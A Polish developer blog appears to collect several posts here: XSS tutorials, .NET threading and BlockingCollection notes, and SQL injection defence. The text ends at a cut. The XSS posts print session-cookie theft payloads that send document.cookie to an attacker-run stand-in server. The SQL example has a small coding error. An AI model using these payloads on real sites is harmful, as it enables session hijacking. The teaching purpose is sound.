Bezpieczeństwo web: XSS, ataki typu stored XSS oraz DOM-based XSS – część 2

W poprzednim poście  skupiłem głównie się na reflected CSS, ale wspomniałem również o stored XSS. Zasada działania ataków typu “Stored xss” jest bardzo prosta – wstrzyknięty kod jest przechowywany w bazie danych. Oznacza to, że potencjalny atak może zostać wykorzystany przeciwko jakiemukolwiek użytkownikowi odwiedzającemu stronę. W przypadku reflected xss sami musieliśmy zadbać o to, aby ktoś odwiedził stronę z spreparowanymi przez nas danymi.

Z tego względu stored xss (persistent xss) jest dużo bardziej niebezpieczny i większość współczesnych stron lub aplikacji internetowych posiada funkcjonalności, które potencjalnie mogą być podatne na XSS. Jeśli tylko aplikacja zawiera jakieś interaktywne elementy, np. służące do personalizacji strony lub wprowadzania nowej zawartości, wtedy warto zastanowić się czy autorzy przewidzieli, że dane pochodzące od użytkowników mogą zawierać złośliwy kod JavaScript.

Ten typ ataku często nazywany jest również “second-order xss”. Dlaczego? W celu poprawnego przeprowadzania ataku, możemy naszkicować dwa etapy:

  1. Atakujący wstrzykuje złośliwy kod JavaScript np. w formie komentarza na stronie internetowej.  Wstrzyknięty kod może zawierać np. pokazany w poprzednim wpisie JS pobierający ciasteczka zawierające identyfikator sesji.
  2. Osoba odwiedzające stronę, otwiera komentarze, tym samym wykonuje kod odczytujący i wysyłający identyfikator sesji do serwera pod kontrolą osoby atakującej.

Po etapie drugim, identyfikator sesji zostaje skradziony. Skala takiego ataku jest ogromna – można przechwytywać sesje dowolnej osoby, która aktualnie odwiedza stronę. Co gorsze, osoba odwiedzające taką stronę jest kompletnie nieświadoma  co się właśnie stało. W przypadku Reflected XSS,  należy przekonać kogoś do odwiedzenia spreparowanego zapytania. Sam ten fakt, powinien być już podejrzany dla jakiekolwiek użytkownika. W przypadku Stored XSS, nie trzeba wykonywać nic podejrzanego – wystarczy wejść po prostu na zaatakowaną stronę, która niczym nie różni się (przynajmniej z wierzchu) od tej bez wstrzykniętego XSS.

Trzecim typem ataku jest tzw. ‘DOM-based XSS”. Różni się on od dwóch pierwszych tym, że wstrzyknięcie następuje po stronie klienta, a nie serwera.  Podobny jest za to do Reflected XSS, ponieważ zwykle należy przekazać użytkownikowi spreparowany URL.  Jak sama nazwa wskazuje, atak polega na odpowiednim (nieprzewidzianym przez autora) modyfikowaniu DOM. W klasycznym reflected XSS, to serwer modyfikuje odpowiedź i wspomniane wstrzyknięcie kodu również następuje poza przeglądarką użytkownika.

Klasyczny scenariusz DOM-based XSS to:

  1. Spreparowany link jest wysłany do ofiary
  2. Ofiara otwiera stronę. Odpowiedź generowana przez serwer nie zawiera nic podejrzanego.
  3. Przeglądarka modyfikuje DOM w sposób nieoczekiwany ponieważ jeden z parametrów w spreparowanym linku jest wstrzykiwany po stronie klienta.

Najlepiej zaprezentować to na przykładzie. Załóżmy, ze funkcjonalność wyświetlania błędów zaimplementowana w poprzednim poście, została przeniesiona do JS:

<script>
      var url = document.location;
      var errorMsg = url.substring(url.indexOf('error=') + 8, url.length);
      document.write(errorMsg );
</script>

Jeśli ktoś przekaże jako parametr error, kod JS, a nie wiadomość, wtedy oczywiście efekt będzie taki sam jak w przypadku reflected xss. Łatwo sobie wyobrazić następujący URL:

www.domain.com\error?message=<script>alert('test')</script>

Chciałbym jeszcze zaprezentować przykład z  OWASP. Załóżmy, że formularz wyboru języka na stronie wygląda następująco:

Select your language:

<select><script>

document.write("<OPTION value=1>"+document.location.href.substring(document.location.href.indexOf("default=")+8)+"</OPTION>");

document.write("<OPTION value=2>English</OPTION>");

</script></select>

Domyślny język jest przekazywany jest jako query parameter o nazwie “default”. Spodziewane wykorzystanie formularza to np.:

http://www.some.site/page.html?default=Polish

Łatwo jednak domyślić się, że ktoś może:

http://www.some.site/page.html?default=<script>alert(document.cookie)</script>

XSS jest dość znany i frameworki takie jak ASP.NET MVC, domyślnie potrafią np. kodować wyświetlane treści. Po stronie klienta sprawa wygląda zupełnie inaczej. Nie wszyscy korzystają z podobnych rozwiązań po stronie klienta (np. Angular). Bardzo często , szczególnie w skomplikowanych systemach, warstwa prezentacji w JS jest bardzo cienka i co za tym idzie, nie jest zbyt szczegółowo analizowana pod kątem bezpieczeństwa. Z tego względu, w praktyce łatwiej znaleźć strony podatne na “DOM-Based XSS” niż klasyczny “Reflected XSS”.

Atrybut InternalsVisibleTo dla blibliotek strong-named

Atrybut InternalsVisibleTo służy do definiowania zaprzyjaźnionych bibliotek. “Zaprzyjaźniona” biblioteka to taka, która ma dostęp do klas i metod z modyfikatorem “internal”. Zwykle korzysta się z niego w celu przetestowania wewnętrznych klas. Czasami bywa, że klasy w bibliotece mają modyfikator internal i co za tym idzie, nie ma do nich bezpośrednio dostępu z testów. Za pomocą InternalsVisibleTo można zrobić wyjątek dla jakieś biblioteki, w tym przypadku projektu z testami.

Wystarczy w pliku Assembly.cs biblioteki zawierającej klasy internal umieścić:

[assembly:InternalsVisibleTo("AnyName.Tests")

Od tego momentu, AnyName.Tests będzie mogło korzystać z wewnętrznych klas projektu,  w którym znajduje się powyższy atrybut.
Oczywiście należy pamiętać, żeby testy jednostkowe skupiały się na testowaniu zachowania, a nie internali. W wielu przypadkach, powyższy atrybut jest sygnałem, że testujemy nie to co trzeba. Czasami jednak, testowanie przez publiczne API może być zbyt skomplikowane i niedokładne. Osobiście używam czasami tego atrybutu, jeśli logika w klasach wewnętrznych jest zbyt bardzo skomplikowana, aby testować ją wyłącznie przez publiczne API.

Jeśli biblioteka jest  typu strong-named (podpis cyfrowy), wtedy musimy podać pełny klucz publiczny obok nazwy. Obydwie biblioteki (logika oraz testy) muszą być zatem podpisane. Wtedy obok nazwy, podajemy również klucz publiczny, na przykład:

[assembly:InternalsVisibleTo("TestCoverage.Tests,PublicKey=002400000480000094000000060200000024000052534131000400000100010085d32843e5e1f42acd023289
dacebe34befbf561bdbb163367bb727f9292824db5aac63c7e72e45e273809937050d21230653def915ecc91e87d1eb4313cc4ed7357fd61d7698790901d1134ba34a9ce0f82f3dfb0e9bad
9c3120a3a6324a333718636b232f4a0b41c72428f2d8704d2da83edc496fe2325816bc8dfdad8feae")]

Jak widzimy na powyższym przykładzie, wklejamy pełny klucz publiczny, a nie jego token. Wystarczy, że odpalimy Developer Command Prompt oraz użyjemy poniższej komendy:

sn -Tp TestCoverage.Tests.dll

PublicKey

Powyższa komenda wyświetli zarówno pełny klucz, jak i jego token.

Bezpieczeństwo web, Cross-Site Scripting (XSS) – część 1

Dzisiaj powracamy do zagadnień związanych z bezpieczeństwem aplikacji webowych. Przez kilka następnych postów będę pisał o XSS.

Oprócz SQL Injection, XSS jest jednym z “popularniejszych” ataków przeprowadzanych na aplikacje webowe. O ile zasada działania może wydawać się prymitywna, to wiele stron, nawet tych z czołówki (np. Amazon), były podatne na XSS. Co więcej, tak jak SQL Injection, wykorzystanie XSS może spowodować całkowite przejęcie kontroli nad aplikacją. Nie należy więc traktować luki XSS jako problemu wyłącznie warstwy prezentacji.

Chcę, aby wpisy w serii “Bezpieczeństwo web” zawierały informacje od poziomu początkującego do zaawansowanego, więc prawdopodobnie dla wielu z czytelników informacje z pierwszych wpisów mogą być potraktowane jako przypomnienie.

Istnieje kilka podstawowych typów XSS. Zacznijmy od tak zwanego Reflected XSS, również nazywanego Non-persistent XSS.

Załóżmy, że wyświetlanie błędów odbywa się za pomocą skierowania użytkownika do podstrony o adresie:
“www.domain.com\error?message=’Cannot display page’. Strona automatycznie wstrzykuje zawartość parametru “message” jako zawartość.

Co jeśli użytkownika jednak dostarczy link w postaci:

www.domain.com\error?message=<script>alert('test')</script>

Bez zakodowania, strona zamiast wyświetlić tekst, wykona skrypt JavaScript. Podobne przykłady można mnożyć. Często na stronach internetowych można wpisywać komentarze lub recenzje. Jeśli w formularzu zamiast tekstu (tego co autorzy spodziewają się), wstrzyknie się JavaScript, wtedy będziemy mogli wykonać dowolny kod.

Jeśli aplikacja nie weryfikuje treści dostarczonej przez użytkownika, może być podatna na XSS. Wtedy użytkownik może dostarczyć dowolną treść, np. kod HTML czy JavaScript. Typ ataku nazywany jest “Reflected”, ponieważ strona odzwierciedla dokładnie to co zostało przekazane. Non-persistent oznacza, że treść nie została zapisana nigdzie. W przypadku powyższej luki ze stroną wyświetlającą błędy mamy do czynienia z typem non-persistent. Kod zostanie wykonany wyłącznie w kontekście użytkownika, który go przekazał. Inaczej sprawa wygląda z przykładem, gdzie użytkownicy mogą wpisywać dowolne komentarze czy recenzje. Wtedy, przekazany kod będzie wyświetlany jakiemukolwiek użytkownikowi, który odwiedza stronę. Z tego względu będzie to atak typu “persistent xss”.

Powyższe przykłady są oczywiście bardzo sztuczne i nie przyniosą żadnych korzyści osobie atakującej. Wyświetlenie tekstu nie jest zbyt wielką korzyścią, nawet w przypadku persistent xss i wyświetlaniu alertu każdej osobie odwiedzającej stronę. Co najwyżej może być to irytujące dla odwiedzających, ale nie niebezpieczne.

Rozważmy jednak inny przykład. W ciasteczkach, bardzo często przechowywane są ważne informacje. Nierozsądni programiści mogą tam przechowywać nawet hasło. Wiem, że jest to ekstremalny przypadek. Z drugiej jednak strony, większość aplikacji przechowuje tam identyfikator sesji.  Wykradnięcie tego identyfikatora, może umożliwić atakującemu wykonywane kodu operacji w kontekście innego użytkownika. Załóżmy, że nie mamy praw administratora, ale wiemy, że jest jest on właśnie zalogowany do systemu. Jeśli udałoby nam się przechwycić jego identyfikator sesji, wtedy przekazując ten sam id w naszych zapytaniach, system będzie myślał, że jesteśmy administratorem.  Jak widać, w taki sposób moglibyśmy mieć dostęp do wszystkich zasobów strony. W tym czasie możemy usunąć stronę całkowicie lub stworzyć dodatkowe konto o prawach administratora. Dlatego tak ważne jest z punktu widzenia bezpieczeństwa użytkownika, aby wylogować się ze strony, jak tylko skończyliśmy pracę z nią. Nie robiąc tego, utrzymujemy swój identyfikator sesji, co zwiększa ryzyko przeprowadzenia ataku.

Pytanie brzmi, jak przejąć identyfikator sesji za pomocą Reflected XSS?

Wiemy, że możemy wstrzyknąć kod JavaScript. Za pomocą JS, możemy odczytać ciasteczka za pomocą:

var allCookies = document.cookie;

Jeśli zatem przekażemy administratorowi link w postaci:

www.domain.com\error?message='<script>var allCookies = document.cookie</script>'

Wstrzyknięty kod przeczyta ciasteczka administratora czyli również cenny identyfikator sesji. Problem w tym, że wykona to się w przeglądarce tej osoby. Musimy zatem wymyślić jakiś sposób na przetransferowanie jego ciasteczek do naszego serwera.

Sztuczka polega na wstrzyknięciu obrazka, którego link wskazuje na nasz serwer. Co się stanie jeśli wstrzykniemy następujący obrazek?

<img src=http://www.NaszSerwer.com/images/+document.cookie'/>

Przeglądarka, próbując wyświetlić obrazek, wykona zapytanie do powyższego linku. Powyższy link zawiera w sobie wszystkie ciasteczka. Ponadto wskazuje na serwer, który jest pod naszą kontrolą. Pisząc odpowiedni HTTP Handler, będziemy w stanie przechwycić wszystkie zapytania przychodzące do naszego serwera (a jednym z nich jest link zawierający ciasteczka).

Ostateczny link, jaki zatem musimy przekazać administratorowi to:

www.domain.com\error?message='<script>var image=new Image;image.src=http://www.NaszSerwer.com/images+document.cookie</script>'

Jak widać, za pomocą XSS można zdziałać dużo więcej niż tylko zdenerwować użytkowników.
Jednym z przyszłych postów chciałbym również opisać, jak przeglądarki radzą sobie z zapytaniami między różnymi serwerami. W skrócie pisząc, można wysłać zapytanie do innego serwera, ale nie można czytać jego odpowiedzi. Przeczytanie np. JSON z innej usługi jest zatem kłopotliwe. Wysłanie jednak zapytania do innego serwera w celu wyświetlenia obrazka czy załadowania skryptu jest jak najbardziej dozwolone, co powyższy kod demonstruje. Nie jest jednak dozwolone przeczytanie zasobów należących do innej domeny. Ciasteczka na serwerze domain.com może przeczytać wyłącznie skrypt znajdujący się w tej domenie. Jeśli umieścilibyśmy analogiczny skrypt na www.NaszSerwer.com, nie uzyskalibyśmy ciasteczek z www.domain.com.

Dlaczego zatem powyższy atak nie nazywa się np. JavaScript Injection, ale Cross-site scripting? W końcu wstrzykujemy jakiś kod… Wynika to z opisanego właśnie sposobu przekazywania zasobów. Pomimo, że przeczytaliśmy ciasteczka z domeny “www.domain” to przekazywane są one do innej domeny, “www.NaszSerwer.com”. Oznacza to, że nasz skrypt działa tak naprawdę na dwóch różnych stronach (domenach), stąd nazwa “cross-site scripting”.

Różnica między Task.Run, a Task.Factory.StartNew

W .NET 4.5 pojawiła się metoda Task.Run. Z przyzwyczajenia jednak przez długi czas używałem tylko Task.Factory.StartNew. Obie metody służą do stworzenia nowego wątku i natychmiastowego jego uruchomienia. Sposób wywołania wygląda bardzo podobnie:

var t1=Task.Run(()=>Method());
var t2 = Task.Factory.StartNew(Method);

Zajrzyjmy do zdekompilowanego kodu Task.Run:

    [__DynamicallyInvokable]
    [MethodImpl(MethodImplOptions.NoInlining)]
    public static Task Run(Action action)
    {
      StackCrawlMark stackMark = StackCrawlMark.LookForMyCaller;
      return Task.InternalStartNew((Task) null, (Delegate) action, (object) null, new CancellationToken(), TaskScheduler.Default, TaskCreationOptions.DenyChildAttach, InternalTaskOptions.None, ref stackMark);
    }

Oznacza to, że Task.Run to nic innego jak:

var t2 = Task.Factory.StartNew(Method, CancellationToken.None,TaskCreationOptions.DenyChildAttach,TaskScheduler.Default);

Spróbujmy jednak rozszyfrować co powyższe parametry oznaczają. W przypadku CancellationToken.None sprawa jest oczywista – po prostu nie przekazujemy własnego tokena.

Następny parametr to TaskCreationOptions.DenyChildAttach. Opisałem go w poprzednim w poście w szczegółach – służy do tworzenia wątków macierzystych, które są po prostu niezależne od pozostałych wątków.

TaskScheduler.Default wymaga więcej uwagi. Często przekazuje się TaskScheduler.Default albo TaskScheduler.Current. Pierwszy z nich zwraca domyślny scheduler, drugi z kolei aktualny czyli ten ustawiony w danym wątku. Zaglądając do TaskScheduler.Current zobaczymy

        public static TaskScheduler Current
        { 
            get
            { 
                Task currentTask = Task.InternalCurrent; 

                if (currentTask != null) 
                {
                    return currentTask.ExecutingTaskScheduler;
                }
                else 
                {
                    return TaskScheduler.Default; 
                } 
            }
        } 

Innymi słowy, jeśli aktualny wątek nie ma żadnego schedulera, wtedy TaskScheduler.Default zostanie zwrócony. Wynika z tego, że TaskScheduler.Current i TaskScheduler.Default mają różne wartości, wyłącznie gdy aktualny wątek ma już ustawiony jakiś scheduler.

Default oznacza, że następujący obiekt zostanie zwrócony:

 private static TaskScheduler s_defaultTaskScheduler = new ThreadPoolTaskScheduler(); 

Klasa ThreadPoolTaskScheduler używa standardowej puli wątków zaimplementowanej w .NET. Domyślny scheduler, to ten operujący bezpośrednio na puli wątków .NET. Warto pamiętać, że ta pula używa wewnętrznie dwóch typów kolejek do przechowywania wątków. GlobalQueue zawiera referencje do wątków macierzystych (patrz poprzedni wpis). LocalQueue zawiera z kolei wątki stworzone w kontekście innych wątków. Wynika to z właściwości opisanych w poprzednim wpisie i z tego względu, LocalQueue jest powiązany z wątkiem macierzystym.

Kiedy zatem chcemy używać Default lub Current? Klasycznym jest odświeżanie interfejsu. Zwykle pierwszy wątek będzie wykonywał czasochłonną operację, a potem chcemy wykonać zadanie na wątku UI, w celu odświeżenia interfejsu. Przykład:

Task.Factory.StartNew(RunLongLastingOperation, CancellationToken.None, TaskCreationOptions.DenyChildAttach,TaskScheduler.Default).
ContinueWith(UpdateUI, TaskScheduler.FromCurrentSynchronizationContext());

RunLongLastingOperation będzie wykonana na wątku z puli. Potem, UpdateUI użyje schedulera bazującego na kontekście synchronizacyjnym, czyli umieści zadanie na wątku UI. Następnie załóżmy, że w UpdateUI tworzymy kolejny wątek za pomocą TaskScheduler.Current:

private void UpdateUI()
{
    Task.Factory.StartNew(AnotherOperation,CancellationToken.None, TaskCreationOptions.DenyChildAttach,TaskScheduler.Current);
}

AnotherOperation w tym przypadku, zostanie wykonany na tym samym wątku co UpdateUI, czyli wątku UI. Jeśli chcemy mieć serie typu czasochłonna operacja, aktualizacja UI i znów czasochłonna operacja, nie możemy korzystać z TaskScheduler.Current bo w powyższym przypadku będzie to po prostu wątek UI. Z tego względu, musimy skorzystać z puli wątków czyli TaskScheduler.Default:

private void UpdateUI()
{
    Task.Factory.StartNew(AnotherOperation,CancellationToken.None, TaskCreationOptions.DenyChildAttach,TaskScheduler.Default);
}

Co nam daje zatem Task.Run? Tworzy on zawsze wątek na puli (TaskScheduler.Default), który jest niezależny od rodzica(DenyChildAttach). Jeśli chcemy stworzyć wątek, który coś robi w tle, wtedy Task.Run jest naturalnym wyborem. W przypadku Task.Factory.StartNew zostanie przekazany domyślnie TaskCreationOptions.None, co spowoduje, że wątek nie jest niezależny.

W praktyce, Task.Run prawdopodobnie powinien być najczęściej wykorzystywany. Z tego względu, twórcy .NET dodali skrót w formie Task.Run do najczęściej wykorzystywanych parametrów.

Tworzenie wątków: TaskCreationOptions.DenyChildAttach, TaskCreationOptions.AttachedToParent

Tworząc nowe zadania (wątki) za pomocą TPL, możemy przekazać parametry AttachedToParent lub DenyChildAttach. Określają one, czy wątek powinien być podłączony do rodzica czy nie. W dzisiejszym wpisie postaram wyjaśnić się, czym one różnią się.
Parametry definiują relację wątku z nadrzędnym wątkiem. Jeśli wątek A, tworzy kolejny wątek B, wtedy za pomocą powyższych wartości możemy określić relacje wątku B z A.

Spróbujmy zatem wyjaśnić jak ta relacja wpływa na zachowanie wątków.

Jeśli wątek B(podrzędny) jest podłączony do rodzica (AttachedToParent), to wątek A (macierzysty) zawsze będzie czekał na wykonanie B. Innymi słowy, wątek A nie zostanie uznany za zakończony, dopóki nie skończy działania wątek B. Najpierw uruchomimy kod, z opcją DenyChildAttach:

            var parent = Task.Factory.StartNew(
                   () =>
                   {
                       Task.Factory.StartNew(() =>
                       {
                           Thread.Sleep(1000);
                           Console.WriteLine("B");
                       }, TaskCreationOptions.DenyChildAttach);
                   });

            parent.Wait();
            Console.WriteLine("Parent thread finished.");
            Console.ReadLine();

Na ekranie prawdopodobnie zobaczymy następującą sekwencję:
1. Parent thread finished.
2. B

Wątek macierzysty (parent), nie czeka na skończenie wątku B. Wywołanie Result albo Wait, przestanie blokować jak tylko wykona się wątek główny, bez wątków zagnieżdżonych.
Zmieńmy teraz na AttachedToParent:

            var parent = Task.Factory.StartNew(
                   () =>
                   {
                       Task.Factory.StartNew(() =>
                       {
                           Thread.Sleep(1000);
                           Console.WriteLine("B");
                       }, TaskCreationOptions.AttachedToParent);
                   });

            parent.Wait();
            Console.WriteLine("Parent thread finished.");
            Console.ReadLine();

Kolejność oczywiście będzie odwrotna, a mianowicie:
1. B
2. Parent thread finished.

Kolejna różnica wynika z obsługi błędów. Rozważmy następujący kod:

            var parent = Task.Factory.StartNew(
                   () =>
                   {
                       Task.Factory.StartNew(() =>
                       {
                           Thread.Sleep(1000);
                           throw new Exception("B");
                       }, TaskCreationOptions.AttachedToParent);
                   });

            parent.Wait();
            Console.WriteLine("Parent thread finished.");
            Console.ReadLine();

Wywołanie Task.Wait (powyższy przykład), albo Task.Result spowoduje wychwycenie wyjątku wyrzuconego przez podrzędne wątki. W przypadku DetachedChild, musielibyśmy napisać obsługę błędu w ciele wątku macierzystego ponieważ Wait\Result wyrzuci wyłącznie wyjątek, jeśli był on wyrzucony bezpośrednio w wątku macierzystym.

Kolejna różnica to anulowanie wątków. Zacznijmy od przypadku, kiedy wątek podrzędny typu Attached, anuluje wykonanie:

            var tokenSource = new CancellationTokenSource();
            var token = tokenSource.Token;

            var parent = Task.Factory.StartNew(
                   () =>
                   {
                       Task.Factory.StartNew(() =>
                       {
                           Thread.Sleep(1000);
                           token.ThrowIfCancellationRequested();

                       }, token, TaskCreationOptions.AttachedToParent, TaskScheduler.Default);
                    
                   }, token);


            Thread.Sleep(5);
            parent.Wait(token);
            parent.Wait();

            Console.WriteLine(parent.Status);
            Console.ReadLine();

W takim przypadku, wyjątek (TaskCancellationException) zostanie przekazany macierzystemu wątkowi, co oznacza, że Wait na głównym wątku wyrzuci TaskCancellationException.

Nieco inaczej sytuacja wygląda w przypadku wątków Detached:

            var tokenSource = new CancellationTokenSource();
            var token = tokenSource.Token;

            var parent = Task.Factory.StartNew(
                   () =>
                   {
                       Task.Factory.StartNew(() =>
                       {
                           Thread.Sleep(1000);
                           token.ThrowIfCancellationRequested();

                       }, token, TaskCreationOptions.DenyChildAttach, TaskScheduler.Default);
                    
                   }, token);


            Thread.Sleep(5);
            tokenSource.Cancel();
            parent.Wait(token);

            Console.WriteLine(parent.Status);
            Console.ReadLine();

Jeśli wątek macierzysty kończy się przed anulowaniem wątku podrzędnego, wtedy TaskCancellationException nie zostanie wyrzucony przy wykonywaniu Wait. Wynika to z faktu przedstawionego na początku wpisu – wątek macierzysty nie czeka na wątki podrzędne, zatem taka informacja jest po prostu niedostępna.

Jeśli wątek podrzędny zostanie anulowany przed zakończeniem się wątku macierzystego, to TaskCancellationException zostanie wyrzucony, pomimo tego, że jest to wątek Detached:

            var tokenSource = new CancellationTokenSource();
            var token = tokenSource.Token;

            var parent = Task.Factory.StartNew(
                   () =>
                   {
                       Task.Factory.StartNew(() =>
                       {
                           token.ThrowIfCancellationRequested();

                       }, token, TaskCreationOptions.DenyChildAttach, TaskScheduler.Default);
                    Thread.Sleep(100);
                   }, token);


            tokenSource.Cancel();
            parent.Wait(token);

            Console.WriteLine(parent.Status);
            Console.ReadLine();

Mam nadzieję, że powyższe przykłady były przydatne i rozjaśniły temat, a nie jeszcze bardzo skomplikowały go 🙂

Producent-konsument w C# – BlockingCollection

BlockingCollection jest specjalną kolekcją danych, przygotowaną do implementacji wzorca producent-konsument. Nakład pracy do implementacji tego wzorca jest minimalny z BlockingCollection. Nie musimy martwić się o synchronizację, sekcję krytyczną czy deadlock. Zacznijmy od razu od przykładu.
Producent będzie wyglądać następująco:

       private static void Produce(BlockingCollection<int> buffer)
        {
            for (int i = 0; i < 100; i++)
            {
                Console.WriteLine("Producing {0}", i);
                Thread.Sleep(10);

                buffer.Add(i);
            }

            buffer.CompleteAdding();
        }

Jak widzimy, implementacja producenta to nic innego jak dodawanie danych do kolekcji. Metoda Add jest thread-safe więc nie musimy używać lock. Ponadto robi to bardzo optymalnie, ponieważ nie jest to prosty mechanizm polegający po prostu na wstawieniu lock’a. Zaglądając do implementacji Add, zobaczymy między innymi spinning. BlockingCollection należy to tzw. concurrent collections o których już pisałem na blogu. Oznacza to, że jakiekolwiek operacje są zaimplementowane w ten sposób, aby unikać blokad. Zostało to osiągnięte na poziomie projektu (np. kilka mini-kolekcji w środku dla różnych wątków), jak i używania spinningu, gdy wiadomo, że zbyt długo nie będzie trzeba czekać.

Metoda CompleteAdding kończy produkcję i konsumenci nie będą już dłużej czekać. Musimy ją wywołać na końcu ponieważ w przeciwnym wypadku, konsumenci będą myśleli, że produkcja ciągle trwa i należy wciąż czekać.
Przyjrzyjmy się teraz konsumpcji:

        private static void Consume(BlockingCollection<int> buffer)
        {
            foreach (var i in buffer.GetConsumingEnumerable())
            {
                Console.WriteLine("Consuming {0}.", i);
                Thread.Sleep(20);
            }
        }

Kluczem jest metoda GetConsumingEnumerable. W bezpieczny sposób usuwa one dane z bufora. Jeśli w buforze nic nie ma po prostu wątek będzie blokowany. Iterator zakończy dopiero działanie, gdy producent wywoła CompleteAdding. W przeciwnym wypadku, foreach będzie zdejmował dane z kolekcji, lub blokował wywołanie w oczekiwaniu na więcej danych. Jeśli zajrzyjmy do implementacji wewnętrznej, znowu znajdziemy semafory i SpinWait.

Tak naprawdę, do najprostszej implementacji nic więcej już nie potrzebujemy. Całość wygląda zatem następująco:

class Program
    {
        static void Main(string[] args)
        {
            var buffer=new BlockingCollection<int>();

            var producerTask = Task.Run(() => Produce(buffer));
            var consumeTask = Task.Run(() => Consume(buffer));

            Task.WaitAll(producerTask, consumeTask);
        }

        private static void Produce(BlockingCollection<int> buffer)
        {
            for (int i = 0; i < 100; i++)
            {
                Console.WriteLine("Producing {0}", i);
                Thread.Sleep(10);

                buffer.Add(i);
            }

            buffer.CompleteAdding();
        }

        private static void Consume(BlockingCollection<int> buffer)
        {
            foreach (var i in buffer.GetConsumingEnumerable())
            {
                Console.WriteLine("Consuming {0}.", i);
                Thread.Sleep(20);
            }
        }
    }

W praktyce jednak trzeba rozważyć kilka innych “drobiazgów”. Co jeśli wyjątek zdarzy się podczas konsumpcji danych? Producent wciąż będzie generował dane, co przecież zwykle nie ma sensu i spowoduje memory leak. Dlatego lepiej napisać obsługę błędów:

       private static void Consume(BlockingCollection<int> buffer)
        {
            try
            {
                foreach (var i in buffer.GetConsumingEnumerable())
                {
                    Console.WriteLine("Consuming {0}.", i);
                    Thread.Sleep(20);
                    throw new Exception();
                }
            }
            catch
            {
                buffer.CompleteAdding();
                throw;
            }
        }

W momencie wystąpienia błędu, wywołujemy CompleteAdding, co spowoduje, że próba dodania nowych danych przez producenta zakończy się wyjątkiem InvalidOperationException i zakończeniem produkcji.
Analogicznie, warto dostać klauzule try-finally w producencie:

        private static void Produce(BlockingCollection<int> buffer)
        {
            try
            {
                for (int i = 0; i < 100; i++)
                {
                    Console.WriteLine("Producing {0}", i);
                    Thread.Sleep(10);

                    buffer.Add(i);
                }
            }
            finally
            {
                buffer.CompleteAdding();
            }

        }

W przypadku producenta, chcemy wywołać CompleteAdding zarówno w przypadku powodzenia (aby konsument już dłużej nie czekał), jak i wyjątku.
CompleteAdding tak naprawdę korzysta z CancellationToken, który jest znany nam z TPL. Prawdopodobnie warto również dodać obsługę wyjątków InvalidOperationException, tak aby dwukrotnie nie wywoływać CompleteAdding.

Inna bardzo ważna obserwacja to przypadek, gdy konsument jest dużo wolniejszy niż producent. Załóżmy, że wyprodukowanie zajmuje jedną sekundę, a konsumpcja 10. W tym przypadku, po długim przetwarzaniu możemy mieć do czynienia z ogromną alokacją pamięci ponieważ producent będzie ciągle dodawał dane, a konsument nie nadąży z usuwaniem ich.

BlockingCollection w bardzo prosty sposób rozwiązuje ten problem poprzez wprowadzenie maksymalnego limitu “porcji” w kolekcji. Wystarczy, w konstruktorze przekazać maksymalną pojemność:

var buffer = new BlockingCollection<int>(boundedCapacity: 10);

Po przekroczeniu limitu, metoda Add nie wyrzuci wyjątku, a po prostu będzie blokowała wywołanie za pomocą wspomnianych wcześniej technik (spinning, locking etc).

ASP.NET – wykonywanie czasochłonnej operacji w wątku

O asynchronicznych kontrolerach pisałem już na blogu, zarówno w czystym ASP.NET jak i ASP.NET MVC.

Czasami jednak chcemy zaimplementować model na wzór “fire&forget”. Oczywiście do tego, dużo bardziej nadają się systemy kolejkowe typu nServiceBus, ale dla bardzo prostych przypadków wystarczy odpalenie wątku i wykonanie jakieś czasochłonnej operacji. Przez czasochłonną mam na myśli taką, która wykonuje się kilka minut, a nie kilka godzin.  Jeśli mamy aż tak skomplikowane operacje, wtedy wykonywanie tego w czystym WebAPI\Web zdecydowanie jest złą praktyką.

Błędnym podejściem wykonania operacji w tle jest:

 public ActionResult ExecuteSomething()
 {
    Task.Factory.StartNew(() =>
    {
	Thread.Sleep(5000);
        // time-consuming operation
    });

    return View("Index");
}

“Zwykły” wątek niestety może być zakończony w każdej chwili przez IIS. W momencie zakończenia akcji, IIS przyjmuje, że pozostałe wątki nie mają znaczenia. W praktyce oznacza to, że restart aplikacji albo jej puli może nastąpić w każdym momencie.

Od .NET Framework 4.5.2 istnieje lepszy sposób, a mianowicie HostingEnvironment.QueueBackgroundWorkItem:

 HostingEnvironment.QueueBackgroundWorkItem((token) =>
 {
      Thread.Sleep(5000);
     // time-consuming operation
 });

Jak widać, kod nie wiele różni się, ale w tym przypadku IIS będzie świadomy zadania. Metoda zawiera również token, który używać należy w celu anulowania zadania (np. gdy aplikacja jest zamykana w IIS, a zadanie jest wciąż wykonywane w tle).

Jak wspomniałem nie jest to przeznaczone dla bardzo długich operacji. Jeśli zależy nam na gwarancji wykonania, wtedy zdecydowanie odradzam używanie tego. Autorzy metody nie dają takiej pewności i jeśli aplikacja webowa będzie musiała zostać zakończona, QueueBackgroundWorkItem może jedynie opóźnić zakończenie AppDomain (o maksymalnie 90 sekund).
HttpContext również domyślnie nie zostanie przekazany.

Bezpieczeństwo web, Zapobieganie SQL Injection

W dzisiejszym poście chciałbym podsumować poprzednie rozważania za pomocą wskazówek jak bronić się przed SQL Injection.

1. Unikanie dynamicznych zapytań
Podstawowa rzecz to oczywiście pisanie zapytań w taki sposób, aby niemożliwe było zmanipulowanie parametrów. Poniższy kod jest skrajnie złą sytuacją:

    var sqlCommand=new SqlCommand(string.Format("Select * From Articles where Name='{0}'",articleName));

Bezpiecznym sposobem jest użycie sparametryzowanych zapytań tzn.:

var sqlCommand=new SqlCommand("Select * From Articles where Name='@name'");
sqlCommand.Parameters["@name"].Value=articleName;

Każdy sterownik baz danych dostarcza analogiczne API do powyższego. Nie powinniśmy sami próbować kodować znaków, aby zapobiec SQL Injection. Istnieje wiele sposobów na wstrzyknięcie kodu i bardzo ciężko samemu oczyścić parametry wejściowe.

Z powyższych parametrów należy ZAWSZE korzystać. Jeśli dane pochodzą z naszej bazy danych to również nie należy przyjmować, że są one bezpieczne i można samemu skonstruować zapytanie. Należy traktować każdy parametr jako potencjalne źródło ataku.

Nawet jeśli spodziewamy się liczby czy innej teoretycznie bezpiecznej wartości, wtedy również nie ma wyjątku od powyższej reguły – żaden parametr nie może zostać wbudowany ręcznie w zapytanie.

Problem w tym, że duża część programistów uważa, że skoro używają sparametryzowane zapytania to nie muszą obawiać się ataków. Wiele “sławnych” wpadek pokazuje, że zdecydowanie nie jest to prawda i wciąż jest to jeden z częściej spotykanych ataków. O ile w prostych aplikacjach (klient-serwer lub po prostu stronach internetowych) trudno popełnić błąd, to w systemach Enterprise nie jest już to takie trudne.

2. Użytkownik w Connection String

